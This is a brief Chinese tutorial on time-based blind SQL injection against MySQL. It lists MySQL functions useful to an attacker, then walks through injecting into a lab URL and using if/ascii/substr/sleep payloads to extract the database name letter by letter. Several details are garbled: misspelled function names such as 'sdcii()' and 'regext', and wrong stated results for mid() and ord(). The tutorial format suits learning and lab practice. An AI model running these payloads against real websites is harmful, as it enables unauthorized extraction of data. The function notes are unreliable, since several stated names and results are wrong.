一、函数介绍
1、sleep(5):暂停5秒再返回结果
2、if(条件,表达式1,表达式2):如果条件为真,返回表达式1,否则返回表达式2
3、substr('admin',2,3):从第二个位置开始截取长度为3的字符串,即dmi
4、substring('admin',2,3):效果和上面一样
5、substring('admin' from 2 for 1):截取一个字母,省略了逗号
6、substring('admin' from 2):从第二个字母开始截取
7、substring_index('1223334444','4',3):截取到4出现的第三次,即12233344
8、rlike '^12' 或者regext '^12':正则判断是不是从12开头的字符串 例子:select * from user where pass regexp '^12';
9、case when...then...end:判断条件,如果查询有结果返回,否则返回什么,例子:select case when username='admin' then 'admin' else 'xxx' end from user;
10、sdcii():获取字母的ASCII码
11、benchmark():重复执行,例子:benchmark(10000000,sha(1))
12、select count(*) from user a , uer b ; select count(*) from user 得到结果再乘以结果
13、mid():截取函数,mid("aiyoubucuo",1,1)mid("aiyoubucuo" from 1 for 1); 结果都为1
14、left()/right():从左/从右截取的字符串 left("aiyou",1) right("aiyou",1)
15、ord():ord("abc"),返回结果为首字母的ASCII码,a
16、asc/desc:升序/降序排列 order by id asc;
二、实例
1、访问:http://192.168.152.128/aiyou/1.php?id=2
2、构造条件语句:http://192.168.152.128/aiyou/1.php?id=2' and 1=1 --+
3、判断数据库名称
将条件改为:if(ascii(substr(database(),1,1))=97,sleep(4),null),如果数据库的第一个是a,就暂停4秒
不停修改数字,直到106,发现停留了4秒,说明数据库的第一个字母是j
再将1修改为2,判断数据库名字的第二个字母,发现正好是a